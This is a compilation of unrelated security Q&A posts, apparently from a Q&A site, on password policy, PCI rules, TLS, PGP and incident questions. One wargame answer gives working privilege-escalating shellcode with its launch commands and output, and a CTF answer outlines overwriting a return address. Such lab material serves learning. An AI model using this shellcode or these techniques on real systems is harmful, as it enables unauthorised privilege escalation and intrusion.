Password expiration and compliance (ISO, NIST, PCI, etc) I'm quite confused about what is the current state in 2017 for the idea of password expiration/rotation especially related to security certifications as ISO, PCI, etc. I keep reading that password expiration is not very useful, but I've found several slides where it still seems to be part of the policies/rules (for ISO and PCI).

There is one specific part that seems a bit unnatural to me, and this is (assuming that you have a strong password policy in place, which we already have) the need to store the old password hashes in your database to prevent users from setting an old password when the current expires.

I have always (wrongly) assumed that the expiration was approaching the issue using a social angle, a way to tell users that passwords were important. So, the new password had to be different from the current, but without checking historically previous records.

I had the intuition that this wasn't safe, but it seems that big corporations use it know to provide UI hints (although I think it's fair to assume that these organisations may have a much better control of their backups than smaller companies do, where mistakes could be more likely).

I've read an article in which it would seem that NIST will no longer enforce password expiration. Anyway, now that my system is going to have password expiration due to requirements, I was thinking that it would make sense to match, to some extent, the requirements present in these certifications.

What is the state of password expiration/rotation in these certifications (ISO, PCI, etc) in 2017?. Is it still part of them?.
Do they target/mention a number/period of old passwords that you have to store?.

I don't have access to any original documentation as we are not in any adoption process, but it would be good to know even generally speaking.

The current version of PCI DSS is 3.2.1*, and in section 8.2.4 it requires users to change their passwords every 90 days.  Section 8.2.5 requires that passwords must not be the same as any of the four previous passwords (note that it does not prescribe how this is to be accomplished; the standard does not specifically state the "storage of hashes" is required.)

However, this document is clearly not based on state-of-the-art password security because section 8.2.3 of the same document requires passwords be a "minimum length of at least seven characters" and include "both numeric and alphabetic characters."  Modern computers can run password cracking software that will brute force a 7-character alphanumeric password in seconds.  Because of this poor requirement alone, it is hard to believe that any of their password security requirements are based on research, or are effective.

That said, our knowledge that this standard is not good enough doesn't mean we can ignore it.  No matter what, we're stuck with a 90 day rotation policy, whether or not it provides any useful defense against an attacker, or whether or not it exposes our users to inconvenience or additional risk, because we are contractually obligated to meet the PCI standards.  Instead, since we are aware that the standard is inadequate in this regard, what we need to do is implement a responsible security policy in our organizations that address the known problems (requiring a 14 character password that meets the other draft NIST recommendations in 5.1.1.2, for example) that still complies with all the requirements of the DSS.  Having an organizational security policy and following it is Requirement 12 of the DSS, and it's actually a very good one.

* PCI DSS 3.2 was current as of 2017. In 2018 the version was updated to 3.2.1, a minor update that made no changes to password advice.


Malicious PHP script redirecting crawler traffic Our website seems to have been recently compromised. The attacker had modified .htaccess to reroute traffic from search engine crawlers to a php script. The php script was encoded with Base64, then reversed and the final script effectively eval-d the decoded script. I've put the decoded script here http://pastebin.com/0rWb788j. Searching for some key things in the script like mag2cwit.com (encoded in base64 in the linked script) turns up nothing on google. Any help in identifying the source and/or some explanation of what the script does would be much appreciated.

I think this script is designed to accept a post from a remote machine. It then installs the content of that post on your server and redirects google to that data, whatever it is.

This hides the data from you, whilst using your site's SEO juice to power their content.

It is a very common type of infection, usually used to drive traffic to dodgy web sites ie grey market drugs.


How does a DOS attack work when attacking a single server with a single client? How is it possible to make a DOS attack from a single computer?

Let us assume two computers, one acting as server and the other as client. Both has 100/100 mbit bandwitdh.

How can then the client make a DOS attack on the server if both have the same bandwidth? I mean, why is that technically possible?

Bandwidth is just one resource that can be targeted. If the server runs some expensive server-side scripts, it is quite possible to exhaust its CPU or RAM resources without putting much strain on the network.


Anyone out there using Umbrella from OpenDNS? What exactly is it? I'm still looking for a centrally-managed AV/malware management system and I've been testing out both Panda and Webroot (due to their 'cloud-based' structure that doesn't require a server for me to manage).

Just got some information from OpenDNS (which I love and have been using for years) about their "Umbrella" service.  It appears to be AV and OpenDNS rolled into a single package for mobile users (we have a sales team always on the road).

Just wondering if anyone has insights as to how Umbrella actually works?

Great thread Brian and Ramhound. I work at OpenDNS and may be able to offer some clarity...

Our Umbrella products use a combination of DNS routing, VPN tunneling and selective proxying to secure any devices behind Internet gateways (e.g. router, WiFi AP) or the devices (e.g. desktops, laptops, tablets, phones) themselves. The backbone is built on OpenDNS's global network, but we've added traffic enforcement technologies beyond only DNS monitoring and filtering in 2012. In 2013, we're excited to continue this trend.

In regards to AV scanning, you're both correct that we do not presently use a signature database to match for known malicious executables. However, our approach of preventing connections to malicious sites is not limited to only those that are known to host threats. We're harnessing the insights from over 50B+ daily requests, plus our knowledge for how all sites are related to one another (learned from our global Anycast-routed network) to predict what other sites are also used for malicious purposes. Whether or not the threats on these additional sites are known yet to the AV community.

Having said this, we do not advise removing existing AV clients as it was pointed out that removable media, email attachments and other vectors can still be used to infect the device. Also, AV is still effective for blocking most known threats. But industry analysts like IDC believe its efficacy has fallen to 30-50% of all threats out there.

What Umbrella does really well for your security program is to not only add defense-in-depth, but also add defense-in-breadth. Since we restore visibility and control for your nomadic workers, and we apply our protection for any application, protocol or port. Web proxy-based solutions offered by Webroot and Panda are limited to HTTP (80), and maybe HTTPS (443). They also don't address mobile devices like iPhones very well, if at all, which use APIs that do not allow AV apps to effectively scan for threats.

Hope this helps, and please continue the thread if you have further questions or would like to discuss other Internet security matters.


Overwriting return address of main function I am new to CTFs and I was asked to solve this:

#include <cstdio>

// g++ pwn2.cpp -o pwn2 -static

void ilocamp() {
     char flaga[1024] = {0};
     FILE *f = fopen("flag2.txt", "r");
     fread(flaga, 1, 1024, f);
     fclose(f);
     printf("flaga: ILOCAMP{%s}\n", flaga);
}

int main() {

     int tab[100] = {0};
     int dwa = 2;
     int n,i,min,x;

     scanf("%d",&n);
     for (i=0;i<n;i++) {
        scanf("%d", &x);
        scanf("%d", &tab[x]);
     }

     min = 1000000000;
     for (i=0;i<n;i++) {
        if (tab[i] && tab[i] < min) {
           min = tab[i];
        }
     }

     printf("najmniejsza liczba: %d a dwa wynosi: %d\n", min, dwa);
}

I know, that the point is to overwrite return address of main function with ilocamp() entry address, and to do this I am supposed to use that simple vuln in the loop, but I just have no clue how to do this. I have binary also, tried to do something with gdb but I dont know in true how to. Can you give me some tips? There is binary: http://www48.zippyshare.com/v/b7OaWQeW/file.html
(File "flag2.txt" is on local server)

Just a rough description for now as I don't have much time. The general idea is to determine the address of the target function as well as the exact position of the return address on your stack.

If you want to overwrite the return address you first need to find the correct position. To do so you will probably want to debug the program, set a breakpoint to the last possible step in your main function and watch the registers change by stepping single instructions from there. A brief hint: If you open the program and subsequently put a 1 Byte longer string into it every time it launches: you can watch it crash at some point. Assuming there is no stack canary or shadow stack or whatsoever you will have found your target address. You could (while debugging it) e.g. feed it a lot of 'A's and watch for 0x41 in your Debugger.

Next thing is to determine the address of your target function. Its pretty straight forward, you can e.g. try info symbol with info address.
After that it all comes down to (in the easiest case) writing garbage (e.g. 'A') on the stack until you reach the adress of the RIP (Return Instruction Pointer) and then write the new adress you want into it.

Also do read a little about EIP/RIP, and Stack Overflow on wikipedia and others.


Checking the reverse IP address to find all DNS records In the context of Vulnerability Assessment, what is the purpose of checking the reverse IP address of an end-point to find all DNS records of ‘A’ type associated with the IP?

I've come across this method whilst reading a vulnerability assessment report but puzzled by what purpose it really serves.

In order to perform a vulnerability assessment you first need an inventory of what you are assessing. Reverse ip lookups for dns entries are one way to start building that inventory.


Security risk of Microsoft AD Certificate Services? We have an internal CA server for our domain located at http://cert_srvr.local.domain/certsrv/certrqxt.asp.  This server runs
Microsoft Active Directory Certificate Services.

When I went to the site, I was able to use a CSR that I made on a linux computer to request an advanced certificate issued to the DNS name of our web proxy server.  I used the following command to create the CSR:

openssl req -new -newkey rsa:2048 -keyout key.key -out csr.csr

I think this is a security risk because my non-admin account credentials were passed through via NTLMv2 to the internal CA's Certificate Services site when I logged into it... and I was able to create a certificate as if I were the proxy server (IssuedTo: proxy-server.local.domain) even though I'm not.

Since all workstations on our domain have the MS AD CS server's certificate in their trusted cert store, the cert I made could be used in a MITM attack by pretending my PC was actually the proxy server.  This would have to be used in conjunction with a DNS spoofing or other type of attack to get clients to believe my computer was the proxy server, but it is still possible that the certificate could be misused for redirected SSL traffic to be decrypted by a MITM machine.

Does this sound right, or is there no real security risk here?

Certificate Services is a configurable CA which works on the concept of certificate templates. A template describes a kind of certificate that the CA may issue, under what conditions and with what contents. If you could obtain a certificate from CS, then this means that you requested the certificate for a template for which you were allowed to request a certificate.

What matters, though, is what is in the resulting certificate. I invite you to take a look at the certificate contents (with openssl x509 -text). You may add a lot of things in the certificate request, but, ultimately, the template dictates what appears in the certificate itself. Possibly, the machine name you asked for (proxy-server.local.domain) does not actually appear in the certificate at all, or not where a SSL client would look for it. A SSL client requires that the server name (from the URL) appears in the Subject Alt Name extension as a dNSName; lacking a SAN extension, the client will use the CN part of the subject DN (this is described in RFC 2818).

If you could indeed obtain a certificate which, from the point of view of a SSL client, would be a valid SSL server certificate for a server whose name you choose, then yes, one can say that there is a security-related problem that should be fixed. The sysadmin should review the templates activated on the CA and their access rights.

The main security risk for a CA (any CA) is lack of proper system administration.


Authentication of AP with hidden SSID In this post it is stated that the supplicant (entity who wants to connect) identifies the Access point by its SSID as it would do for any wireless network.

This post says that a de-auth can be sent to a connected client to get the SSID of the network. Am I correctly assuming that the AP does not send its SSID to the world but clients still need to know the SSID to use it during the authentication process?
According to this post a client automatically tries to connect to a network he knows. Does this imply that if I know (as an attacker) the password of a (hidden or non-hidden) wifi network that I can just open a rouge AP – in best case with higher signal strengths – and then all clients having this network "saved" will automatically connect to it?

If you want to connect to an SSID that is not visible, you need to know the SSID (manually specify it in the connection settings).
After the step above, the SSID is considered known network and if disconnected, clients will be able to reconnect to it once it's again functional. So for (2) the answer is yes.


How do I prevent extra javascript from being added into HTML kiosk in public space? I'm planning a project which is to be PCI compliant, but I am stuck on a particular vulnerability and I can't think of a way to protect against it.

The scenario is that there is a kiosk installed in a public location that is running an HTML/Javascript application. The physical computer is locked away, but users can access the touch-screen and keyboard.

The kiosk would be firewalled and only allowed to load content from certain domains or IPs, but I'm worried about a user injecting code directly into the page.

What I'm imagining is that a person accessing the kiosk could inject code into the page using document.write() that would record user input, and then return to the kiosk later to gather the input.

At this point it seems like the only protection against this is that the user probably can't open a web console using only the keyboard. Are there either a) any way to prevent additional scripts to be loaded after a certain point? or b) any way to ensure that a web console can't be opened in a browser? Or some other protection?

In other words, besides physically securing the computer, what do I need to do to secure a browser-based kiosk application when the kiosk has a keyboard?

And ideas or thoughts are appreciated!

From a web app point of view the vulnerabilities you describe are the same for any website and can be mitigated in the same way. Check out the OWASP top ten and ASVS for industry standard ways of dealing with these problems.

Otherwise some particular techniques off the top of my head include:

Scrubbing input
Use content security policy headers
Use a WAF
Clear all data after the session has finished

PCI DSS has requirement 6 to cover the development of secure software, take a look at the PCI council website.

Also I would imagine that your kiosk would be considered a virtual terminal, so check out SAQ C-VT to make sure you're cover there.


Shellcode does not execute as the owner (This is a question regarding a challenge in a wargame on overthewire.org called Narnia)

Here is the source code of the vulnerable script "narnia1" I intend to exploit:

#include <stdio.h>

int main(){
    int (*ret)();

    if(getenv("EGG")==NULL){
        printf("Give me something to execute at the env-variable EGG\n");
        exit(1);
    }

    printf("Trying to execute EGG!\n");
    ret = getenv("EGG");
    ret();

    return 0;
}

So basically it executes the stuff stored in the environment variable "EGG".

I set "EGG" to be the shellcode as shown here:

export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`

which executes /bin/sh.

The owner of this file (narnia1) is "narnia2" as shown below, we expect the shell to be executed as "narnia2".

narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x  2 root    root    4096 Nov  9 15:08 .
drwxr-xr-x 25 root    root    4096 Mar 12 09:58 ..
-r-sr-x---  1 narnia1 narnia0 7568 Nov  9 15:08 narnia0
-r--r-----  1 narnia0 narnia0 1186 Nov  9 15:08 narnia0.c
-r-sr-x---  1 narnia2 narnia1 7404 Nov  9 15:08 narnia1
-r--r-----  1 narnia1 narnia1 1000 Nov  9 15:08 narnia1.c
...

However, this is what I got:

narnia1@narnia:/narnia$ export EGG=`python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1

And I have no idea why this gives me a shell as "narnia1" instead of "narnia2".

Any idea?

I struggled with this for quite a while and eventually had to modify some of the shellcode I found online.

;;; Corrected assembler, based on original from:-
;;; http://shell-storm.org/shellcode/files/shellcode-399.php

      BITS 32

      push byte   0x31
      pop         eax               ; EAX = 0x31
      xor         edx, edx
      int         0x80              ; geteuid();
      mov         ebx, eax          ; result into both args of setreuid() call...
      mov         ecx, eax
      push byte   0x46              ;
      pop         eax               ; EAX = 0x46
      int         0x80              ; setreuid(geteuid(),geteuid());
      mov         al, 0xb           ; execve syscall
      push        edx               ; push \0 string terminator
      push        0x68732f6e        ; hs/n
      push        0x69622f2f        ; ib//
      mov         ebx, esp          ; EBX -> "//bin/sh"
      mov         ecx, edx          ; ECX = 0
      int         0x80              ; execve(/bin/sh,0,0);

Here's the shellcode string:-

"\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"

And here's how to use it:-

narnia1@narnia:/narnia$ export EGG=`python -c 'print "\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia2
$ cat /etc/narnia_pass/narnia2
******* (the password)


Length of AES "plain text" when decrypted with wrong key If I encrypt a text X using key A with the AES algorithms, and then decrypt the result using key B, would the obtained plain text Y length be the same as X's? If the answer is no, is there any encryption algorithm in which this happens?

Note that I want to encrypt a plain text in a way that that if it is decrypted with the wrong key the length of the obtained plain text is the same as the original one.

The length of the decrypted bytes should always be a multiplicative of the block size, no matter if a correct key is used or not.
There might of course be a situation where the decryption with the wrong key results in an output that looks like it uses a valid padding and by removing the padding the length is unequal to the original length. But that certainly isn't the usual case.


How can I tell if my ethernet connection is being sniffed? I read in another post that wired traffic is not protected:

  The only real additional threat that a malicious network
  administrator would pose, is that they have access to the wired side
  of the network also. On the wire, traffic is not protected by the same
  encryption (WEP/WPA/WPA2) that applies to the wireless connection.
  Anyone on the wire could then sniff your traffic as if it had been
  sent across an open (unprotected) network on the air.

If this is true, how would I know if someone is "on the wire?"  I am referring to my laptop being plugged into my cable modem via ethernet cable and my apartment being a massive hotspot of wifi and ethernet.  Can someone still snoop my connection if they are not physically connected to my modem?

To clarify, your question is about detecting a passive sniffer on the wire.  Therefore I will not discuss detection of much noisier ARP spoofing MitM attacks.

Since a passive sniffer only "reads" packets without responding or modifying them, these is virtually no way to detect it.  However, if you know the Ethernet cable length to your next hop, you can measure the distance using either hardware or the cable diagnostic testing software that is packaged with most modern network drivers.  If the sniffer is beyond the next physical hop (beyond the uplink port of the access switch you connect to), then this technique is useless.

In the future, we may use quantum communications to ensure privacy on both ends of a link.  A sniffer would have to both measure and observe the state of qubits traversing a link, which is impossible according to the Heisenberg Uncertainty Principle.  They would be unable to re-transmit the proper qubit states on egress of its sniffing device.

The current day countermeasure to communicating across potentially compromised links is using encryption.  HTTPS, SSH, SFTP, etc. are all protocols utilizing encryption, meaning if they were sniffed on the wire their contents would be useless to the attacker.  It would be a jumbled, unreadable mess.


How would you protect a user against a malicious client? Given in OAuth 2.0 or some other Web Application or even REST API server.  How would you protect users from using a malicious client or a compromised browser?

For OAuth client secret can be placed in an existing application and extracted Risk of keeping OAuth2 client_secret in application

Even with the use of a redirect_uri, the malicious client can simply take it and still redirect to their own site.

With a normal web app, a XSRF token is still generated on the server and passed to the client and the user can still enter their credentials.

A compromised client can also ignore the CORS checks and send whatever it wants as the Origin header.

I'm sort of leaning towards that the only prevention is to tell users make sure you get your clients/apps/browsers from a trusted sources and it is not really something that can be addressed technically.

I'm not sure there as a good answer to this question.

  Given in OAuth 2.0 or some other Web Application or even REST API server. How would you protect users from using a malicious client or a compromised browser?

The usual question here is "How do I protect the server / other users from a compromised client?". That's a tricky question, but there are answers through designing the app with malicious users in mind.

Your question is different. If I'm understanding your question properly, your user has willingly given their account credentials (in whatever form those are, username/pass, OAuth2 token, wtv).

Example scenario: Let's take "malicious client" to be a version of Firefox that I modified the source for, built into a binary, and got you user to install. There's some code in there to trigger once the user logs into facebook.com. Once the user logs into facebook, the attacker has now become the victim as far as the facebook servers are concerned. Moreover, the attacker now controls both what gets sent to the server and what gets displayed to the user. That's infinite power.

Law #1 seems to apply:

  Law #1: If a bad guy can persuade you to run his program on your computer, it's not solely your computer anymore.

I agree with you; other than training users not to install sketchy software, there's not much you can do to protect them.

The good news is that for a well-built application, the compromised user is only hurting themself, the rest of the userbase remains un-compromised, but that's outside the scope of your question.


HTTPS is widely adopted, why isn't encrypted e-mail as popular? I don't have an education in computer science, I've just become interested in information security and encryption lately.

I'm struggling to understand why encrypted web browsing using HTTPS has been so widely adopted but at the same time most emails are unencrypted. From what I understand when using PGP the exchange of the public keys are a bit of a hassle, the recommended method seems to be meet in person or get the key from the person's homepage (which uses HTTPS I guess).

Here's my naive suggestion of another way, I would appreciate you to say where I'm wrong:

Email companies start to provide the ability for me to upload my public PGP key to their server
My friends want to send me an email without having my public key beforehand. My friends' email client can get my public key automatically from my email provider, for example fastmail. The downloading of the public key takes place after the "send email"-button is pressed.
Because the connection to fastmail would be encrypted using TLS, one can be certain that the connection actually goes to fastmail. And one can be certain that fastmail gives my friend the right key that I've uploaded there.
If I don't care so much, fastmail could generate the whole keypair for me and store both my private key and public key. That way I can still read my email using webmail.

This seems simple, and also much easier when I want to change the key. Just like if I want to change ssh keys I just generate a new pair and put the public part on the server.

So, where have I gone wrong in this idea? Or are there already a solution like this, but people don't care to use it?

The biggest obstacle to your proposal is user adoption and behavior change. Imagine having to explain to everyone what a public key is and how great it is to have. This is just not going to happen.

Instead, email security has moved to the mail server side of things, with multiple goals:

transport encryption. This is already fairly widely deployed
sender authentication (for authentication of the sending domain, not the individual user) which is a bit more tedious and relies on considerable knowledge by individual email server admins (as someone who's had to setup SPF/DKIM/DMARC, I can tell you it's not much fun).

Your proposal minus uploading your personal key (instead having it generated automatically) is more or less transport security, but without authentication. The authentication part is the tricky one and is what the mentioned acronyms try to do, albeit tediously.

As a side note: proper end-to-end email encryption would require you to either 1) trust the web-based mail provider with your keys, or 2) use a local client that knows about your private key. The former is undesirable for many, the latter is inconvenient for most people.

Another side note: HTTPS was widely adopted because it is (mostly) invisible to most users, bar the browser warnings. Modern email encryption/authentication is the equivalent of that. But the equivalent of everyone having a key pair for email would be asking people to use client certificates to log into websites. ugh!


Is there an encryption algorithm that allows for a single payload to have two different outputs based on the password? Suppose I have some confidential information that is encrypted and I'm forced/compelled to disclose that password.

My goal is to make that decrypted payload seem meaningful / and the password valid.

Is there any such algorithm that allows for a different password to be applied to the same payload, so that the alternate decrypted data is disclosed?

The theoretical question here is a size/entropy question. The key rule is that the entropy of the encrypted message is the same as the entropy of the initial message. If the algorithm involves no compression, the size of the encrypted message is the size of the original message.

For the encrypted message to be decoded in two different ways depending on the key you need that it contains 2 different messages. A way would be to encrypt a real message with one key and a fake message with another key, and combine both encoded messages (after padding the shorter) for example with one byte from each. Provided you add a known id at the beginning of the messages before crypting them, at decode time, the algorithm could only give back the message that had the correct initial ID.

The problem is that there two different messages + some additional info. And having an encrypted message longer than the initial one is not that plausible...

That's the reason why I know no algorithm implementing plausible deniability, but only containers, that is a complete encrypted filesystem. This was implemented in the excellent TrueCrypt before its support was discontinued. Fortunately, a fork of the project still offers it, VeraCrypt.

VeraCrypt actually offers hidden volumes. In fact a part of the empty space of a normal volume is used to store a distinct volume with a distinct key. When you present a key, an attempt is made to find a hidden volume, if not to find a normal volume. When you open the normal volume in normal mode, nothing allows to guess that it also contains a hidden volume, simply it has some unused space which is no surprise for a file system. Of course, if you write a lot of data in that mode, you will overwrite and definitely destroy the hidden volume data. But a special mode exist to give both keys and use the external volume with no risk of overwriting the internal one.

Above was the technical part. But plausible deniability also requires the content of the external container to be worth it, because the capability of hidden containers is a well known feature. IMHO, there are two acceptable ways:

Sort your information in 3 classes, simple, sensitive and secret and store them accordingly: simple outside the container, sensitive in the external part (use the double password access) and secret in the hidden part. That way as the external container contains more than innocent files the existence of a hidden container is not evident. But you must actually use the external container, at least as much as the inner one and be prepared to disclose its content
Use the external container as your main storage. That is a common usage on corporate laptops, because it ensures that in case of theft or loss of the laptop, no confidential information are immediately accessible (addresses the confidentiality part of security...). The backside is that you should mount the container as a single one at boot, and in normal usage immediately unmount it to remount it manually in dual mode.

And depending of who the adversary is VeraCrypt pages about plausible deniability and security requirements for hidden volumes has additional advices, such as only using the hidden volume when booting from a read only CD/DVD...

As usual technical security is only a part of global security. If the information is sensitive enough that you can fear for your physical integrity, you should use physical security measures and not rely of plausible deniability alone: it is a nice tool that can help to hide secure information but not a magical silver bullet. Only Snake Oil Company can provide those...


Do I need a strong password on my home PC if I have a strong router password? First, let me say that I saw on the "Welcome" window that this site is for professionals, which I am not. But I don't really want an answer from someone who's not a professional, I want a good answer. I also saw a note to post questions about this site on the meta site; but you can't post on the meta site if you don't have 5 posts here. So, if I could ask this...

As I've been instructed over and over again, I put what I believe is a strong password on my home pc. But lately I've started to wonder if that's really even important, as long as I have a strong password on my residential gateway. There is no one here except my wife, who couldn't break the weakest password even if she wanted to. If someone steals the pc, they'll just take out the HD and get my data that way.

Considering these things it seems that all I really need is a good gateway password and my poor wife can go back to using her cat's name as her pc password. Am I right about this? Thanks in advance.

You do need a strong PC password. The reason for this is that UAC, a security system on all Windows computers since Vista, can be configured to ask for a password whenever making important changes to a computer. Indeed, it should be configured to do so, as you should be running a non-admin account to avoid nasty security issues. If your password is weak, it could potentially allow malicious software to guess it and bypass the security controls. While Windows makes an attempt to prevent programs from tampering with UAC using a technique called UIPI, it does not always succeed.

You can safely enable auto-login without a password, however.


Should I disable http HEAD requests? I have seen increased 'HEAD' requests in my webserver access.log. What are these requests for? Should I disable this method in my webserver configs?

No.
Relevant quote from the link:

HEAD
Asks for the response identical to the one that would correspond to a GET request, but without the response body. This is useful for retrieving meta-information written in response headers, without having to transport the entire content.

If you disabled it, you'd just increase your throughput cost. A person can get the same information with a GET, so if they were trying to do something malicious, they could just use a GET. Except, this way, they're being nice and not forcing you to send the request body.
EDIT: I don't know what the requests would be from, although I can certainly think of uses. Anyone else who knows or wants to chip in, please do so. I'm kinda curious, myself. Hence, community wiki.


What can happens if someone read the public and private keys of ssh? Is it a major problem if someone can read the public and private keys of /home/<user>/.ssh/

Public Keys are designed for sharing, read access to public key is fine

Private Keys are secret, they should only be accessible to the owner of said private key.

If someone has accessed your private key it they have the ability to access any device or encrypted file that was protected with your public key.  It also means that they can sign things on your behalf ... it is VERY bad if someone has gained access to your private key.

In many cases SSH Clients will not function if it is detected that the permissions of the Private key file are such that users other than you have read access.


Has my browser been hacked, there was a tab I didn’t open editing my LinkedIn profile Is it possible that somebody could have access to my web browser through wifi hacking and edited my LinkedIn profile (or any other social media if it’s open)? There was a tab that mysteriously opened after I was away from the computer which didn’t have the secure lock symbol that always shows on LinkedIn but instead it was being directed through google drive? There’s no way I intentionally opened LinkedIn at that point of time.

I can attach screenshots, sorry if this doesn’t make sense. Is it at all possible that an attacker can hijack my browser if it’s been compromised? Especially if they’ve gotten in through my wifi, eg a neighbour? What can be done? I’ve changed all my passwords and am only using my mobile phone for internet at the moment. I know it sounds paranoid but I don’t know too much about this.

If someone hacks my wi-fi password, what can they see and how?

Hacking/obtaining access to WiFi is not enough to get into your computer/browser. It is likely your computer have been taken over using something like RDP or TeamViewer. I recommend disabling RDP and uninstalling TeamViewer. If you need the functionality, you should check more secure alternatives.

Another possibility is, that you have some sort of malware in your PC. You can not go wrong by using few tools to scan your PC. I recommend Malware-bytes at the very least.


Can File Shredder shred just one file? Can File Shredder be used to purge specifically Temporary Internet Files rather than the whole disk?
Is there any option to just shred the Temporary Internet Files, and nothing else?
Is this a good way to make cache unrecoverable (read: harder to recover)?

File Shredder
The File Shredder is actually useless. It only gives an impression of security. It can be useful only in a very rare case when file was write to the disk once and has never been copied. In the reality there can be multiple copies of the whole file or copies of its fragments. Just a few examples:

A file was written to the disk then was edited. An editor can create multiple snapshot of particular file versions or snapshots of file parts. What you see is the most recent version. The data from previous versions can remain on the disk for a long time. If you have much free space on the disk, then the probability is high that these copies or their fragments remain for a long time. The File Shredder does not know anything about previous versions and will not delete/overwrite their data on the disk.
If you opened the file in some application, it was loaded into memory, the whole file or some parts of it. If the operating system swapped memory later on, then the loaded part of the file was written to the disk. Thus the data from the file can remain on the disk for a long time. The File Shredder does not know anything if memory with file content was written to the disk.

Overwriting
The files that were just deleted in the Windows File Explorer can be restored in many cases by many advanced users. There are free and commercial tools for this. But if the data were overwritten at least once, restoring such data can be very expensive, because this needs special expensive equipment. Only some companies and government agencies can afford such equipment. Besides the necessity to have the expensive equipment the attacker need to disassemble your disk. That's why if you want to protect deleted data from "normal" attackers that don't have such expensive equipment and don't have possibility to disassemble your disk, then a single overwriting will be sufficient.
Just think what value your secrets have and who can be interested in paying a lot of money for buying or renting special equipment, who can be interested in stealing and disassembling your disk. If you believe that nobody is going to pay a lot of money for your secrets, then a single overwriting will be sufficient.


What usually happens to the symmetric (session) key after decrypting an email? Can the key be recovered if changing private keys? I've been preparing for a CISSP exam and was reading about applied cryptography in regard to email.
It's my understanding that the popular schemes (PGP,S/Mime) use a combination of asymmetric and symmetric cryptography. If I'm reading things correctly, in S/MIME, the message is encrypted using a sender generated symmetric key. In turn, the symmetric key is encrypted using the receiver's public key.

If the receiver changed their private key, they would no longer be able to decrypt the message. However, I was wondering if it was possible to recover the symmetric key from when the email was previously opened?
My guess would be that the email client does not intentionally store the key since that would present a security risk. Just wanted to see if that actually occurs or if there's something I'm missing.

The general and normal solution, as commented, is that the recipient retains old privatekeys to decrypt old messages, even though the corresponding publickeys have expired (or even been revoked). In fact in some organizational settings the privatekeys used for decryption are backed-up by the organization so that email can still be read if the individual(s) to whom it was sent leave(s) or die(s). (In tech this is sometimes called a 'bus factor' -- if an employee with key information and/or abilities is hit by a bus and killed, can the organization continue operating without them?) In contrast privatekeys used for signing are not subject to this requirement; if a person leaves, the new person should publish a new signing key which recipient(s) accept as valid, but should not be able to make it appear the old person signed something they actually didn't. BTW these approaches apply to both PGP and S/MIME, although the method of publishing a new key differs somewhat.
GnuPG (one implementation of PGP) has a feature intended for a slightly different case: see --show-session-key et seq in
https://www.gnupg.org/documentation/manuals/gnupg/GPG-Esoteric-Options.html . The idea is that if you are forced to disclose some of your email -- for example in a lawsuit -- instead of giving the privatekey that allows decryption of all your (past) messages you can give the DEK(s) for a specific message(s).


How to trace the actions performed by a virus? Is that possible to trace the actions performed by a virus? Run Time , stolen data and the files consulted and get the relative impact on my pc.?

I strongly recommend to run that virus in an artificial environment like a sandbox so you won't affect your personal computer! In this way you can track its activity through the sandbox specific CLI/GUI.

Sandbox Example: Cuckoo Sandbox, Sandboxie, etc.

The other way around:

Use an virtual environment to test the malware and to manually track its activity.


GPG secret key and passphrase I generated a public/secret key pair with GnuPG. I know that the secret key must keep secret. However, I am wondering what are the risk to expose the secret key without the passphrase?

If Eve steals my laptop and can access to all my data, what are her abilities to use my secret key without knowing my passphrase?

The passphrase is the 'key' to use to your 'secret key'. You should keep your secret key file safe, but in case Eve stole your laptop, or your file, if there is no passphrase, she can use your secret key to decipher your secrets.
If you copy your secret key file to a different computer, to use that file you will need your passphrase.

Lets say is and extra safeguard to make sure you are the one that should be using that secret key.


RSA key size in TLS ciphersuite with RSA key exchange I'm using the TLS cipher suite TLS_RSA_WITH_AES_256_CBC_SHA56. The Public Key of the Server's Certificate is RSA (2048 Bits)

I understand that the RSA algorithm is used here for for key exchange, as  well as authentication.

Does the fact that the certificate contains an RSA 2048 bit public key mean that the length of the RSA key used for both Key Exchange and Authentication is 2048 bits?

Yes, it does mean exactly that that.

The pre-master secret in this protocol is a random generated by the client. It is simply encrypted using the public key from the certificate at the client and decrypted by the server using the corresponding private key. The pre-master secret is then used to calculate the master secret and the session keys.

The Finished message send by the server then shows that the server was able to decrypt the pre-master secret and derive all the key material: the finished message contains a MAC over all the messages using one of the derived keys.

This is all explained rather well in section F.1.1.2.  RSA Key Exchange and Authentication:

  ...

  After verifying the server's certificate, the client encrypts a
  pre_master_secret with the server's public key.  By successfully
  decoding the pre_master_secret and producing a correct Finished
  message, the server demonstrates that it knows the private key
  corresponding to the server certificate.

  ...

The key size of the public and private key of the same key pair is always identical. For RSA it is identical to the minimum number of bits required to encode the modulus as unsigned value.

Note that there is just one RSA encryption and one decryption operation that is used for exchanging keys and entity authentication; these are not separate RSA operations. The authentication part also requires the MAC, otherwise the client doesn't know that the server indeed decrypted the pre-master secret correctly. The protocol might have also have gone for implicit authentication when receiving the first message and verifying the MAC of that, but fortunately it didn't.


If non-repudiation is impossible why do digital signature exist Since non-repudiation is impossible to achieve purely by software
why do digital signature exists?

Let me clarify a bit (this part is from eschaefe book pg 64):
1. When B connects to website A he checks his certificate validity after which he can send B his RSA public key and also his digital signature public key.
2. A can then send B AES keys for encryption and MAC via encrypting with B RSA public keys.
3. The message exchange happens and B signs MAC via his DSS private keys.
4. A reads the message , checks MAC and signature.

Problem:
If B decides he wants to dodge the transaction he can publish his private key for RSA and deny that he sent the message (repudiation)
However since signing took place A can challenge that claim.

However if B decides to publish his private keys for signing he can claim that his signature is forged. And again the problem is the same.

